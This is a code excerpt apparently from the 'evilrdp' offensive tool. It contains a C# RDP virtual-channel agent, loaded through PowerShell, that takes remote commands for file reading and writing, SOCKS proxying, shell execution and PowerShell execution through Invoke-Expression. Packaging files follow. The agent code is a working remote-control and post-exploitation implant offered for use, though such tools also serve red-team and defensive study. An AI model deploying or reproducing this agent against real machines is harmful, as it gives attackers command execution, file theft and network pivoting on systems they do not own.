VChannel(string channelname) { this.channelname = channelname; } /// /// This is the "main" function which will "block" until the RDP virtual channel is closed. /// /// public async Task run() { vchannel = WtsApi32.Open(channelname, WtsApi32.WTS_CHANNEL_OPTION.DYNAMIC | WtsApi32.WTS_CHANNEL_OPTION.DYNAMIC_NO_COMPRESS); await HandleIncoming(vchannel); } /// /// When an unknown token arrives, a new Subchannel is opened based on the CMDType of the initiator cmd. /// Extend this switch-case for more features. /// /// /// async Task startChannel(CMD cmd) { SubChannel channel = null; try { switch (cmd.command) { case CMDType.GETFILE: { channel = new FileReadSubChannel(this, cmd, this.cts.Token); await channel.start(); break; } case CMDType.SOCKETOPEN: { channel = new SOCKSSubChannel(this, cmd, cts.Token); await channel.start(); break; } case CMDType.SHELL: { channel = new CMDExecSubChannel(this, cmd, cts.Token); await channel.start(); break; } case CMDType.PUTFILE: { channel = new FileWriteSubChannel(this, cmd, cts.Token); await channel.start(); break; } default: { //unknown channel type! throw new Exception("Unknown channel type!"); break; } } return channel; } catch(Exception e) { } await SendCmd(cmd.token, CMDType.ERR); return channel; } /// /// This function is invoked whenever a new packet arrives from the remote client. /// Here you can see that the PS packet is special, as it triggers an event for PowerShell execution. /// Other packets (named cmd) are either kickstart a new subchannel, or get dispatched to an existing subchannel, /// /// /// async Task HandleCmd(CMD cmd) { switch (cmd.command) { case CMDType.PS: { // Powershell execution, triggering event to be recieved by powershell PSExecEventArgs e = new PSExecEventArgs(); e.token = cmd.token; e.cmd = Encoding.UTF8.GetString(cmd.data); e.channel = this; OnPsExecCmd(e); break; } default: { // C# can't handle byte array in switch-case it seems // converting the token to hex string :// string tokenhex = BitConverter.ToString(cmd.token); //this is so stupid... SubChannel ch; if (!channels.TryGetValue(tokenhex, out ch)) { // New command! Creating subchannel for it ch = await startChannel(cmd); channels.Add(tokenhex, ch); } else { // Dispatching packet to existing subchannel ch.HandleIncoming(cmd); } break; } } } // Powershell can call this function with the results async public Task SendPSResult(string result, byte[] token) { await SendCmd(token, CMDType.OK, Encoding.UTF8.GetBytes(result)); } /// /// Send a packet back to the RDP client. /// /// /// /// async public Task SendCmd(byte[] token, CMDType cmdtype) { await SendCmd(token, cmdtype, new byte[0]); } /// /// Send a packet back to the RDP client. /// /// /// /// async public Task SendCmd(byte[] token, CMDType cmdtype, byte[] data) { CMD res = new CMD(token, cmdtype, data); byte[] raw = res.toBytes(); await vchannel.WriteAsync(raw, 0, raw.Length); } /// /// Start recieving the packets from the RDP client. /// This does the defragmenting, as there is a hard limit on the maximal data size per each ReadAsync call. /// /// /// async Task HandleIncoming(FileStream vchannel) { int cmdlen = -1; MemoryStream ms = new MemoryStream(); while (true) { while(!((cmdlen != -1) && cmdlen <= ms.Position)) { byte[] buffer = new byte[4096]; int bytesRead = await vchannel.ReadAsync(buffer, 0, buffer.Length); ms.Write(buffer, 8, bytesRead - 8); if(cmdlen == -1) { cmdlen = (Int32)(BitConverter.ToInt32(buffer, 8)); } } byte[] rawcmd = new byte[cmdlen]; Array.Copy(ms.ToArray(), rawcmd, cmdlen); if (cmdlen != ms.Position) { byte[] remainingBytes = new byte[ms.Position - cmdlen]; Array.Copy(ms.ToArray(), ms.Position - cmdlen, remainingBytes, 0, ms.Position - cmdlen); ms.Dispose(); ms = new MemoryStream(remainingBytes); if(remainingBytes.Length >= 4) { cmdlen = BitConverter.ToInt32(remainingBytes, 0); } } else { ms.Dispose(); ms = new MemoryStream(); cmdlen = -1; } await HandleCmd(new CMD(rawcmd)); } } } '@ function Wait-Task { param( [Parameter(Mandatory, ValueFromPipeline)] [System.Threading.Tasks.Task[]]$Task ) Begin { $Tasks = @() } Process { $Tasks += $Task } End { While (-not [System.Threading.Tasks.Task]::WaitAll($Tasks, 200)) {} $Tasks.ForEach( { $_.GetAwaiter().GetResult() }) } } Set-Alias -Name await -Value Wait-Task -Force Add-Type -TypeDefinition $VCHannelDef -IgnoreWarnings $action = { #Write-Host $eventargs.cmd $outtext = "" Invoke-Expression -Command $eventargs.cmd | Tee-Object -Variable outtext await $eventargs.channel.SendPSResult($outtext, $eventargs.token); } $vc = [VChannel]::new("PSCMD") $job = Register-ObjectEvent -InputObject $vc -EventName 'psCommandExec' -Action $action await $vc.run(); ================================================ FILE: pyproject.toml ================================================ [build-system] requires = ["setuptools>=61.0.0"] build-backend = "setuptools.build_meta" ================================================ FILE: setup.py ================================================ from setuptools import setup, find_packages from distutils.core import setup, Extension import re import platform VERSIONFILE="evilrdp/_version.py" verstrline = open(VERSIONFILE, "rt").read() VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]" mo = re.search(VSRE, verstrline, re.M) if mo: verstr = mo.group(1) else: raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) setup( # Application name: name="evilrdp", # Version number (initial): version=verstr, # Application author details: author="Tamas Jos", author_email="info@skelsecprojects.com", # Packages packages=find_packages(), # Include additional files into the package include_package_data=True, # Details url="https://github.com/skelsec/evilrdp", zip_safe = False, # # license="LICENSE.txt", description="evilrdp", # long_description=open("README.txt").read(), python_requires='>=3.7', install_requires=[ 'prompt-toolkit', 'aardwolf>=0.2.5', 'pyqt5', 'pyqt5-sip', 'pyperclip', ], classifiers=[ "Programming Language :: Python :: 3.8", "Operating System :: OS Independent", ], entry_points={ 'console_scripts': [ 'evilrdp = evilrdp.__main__:main', ], } )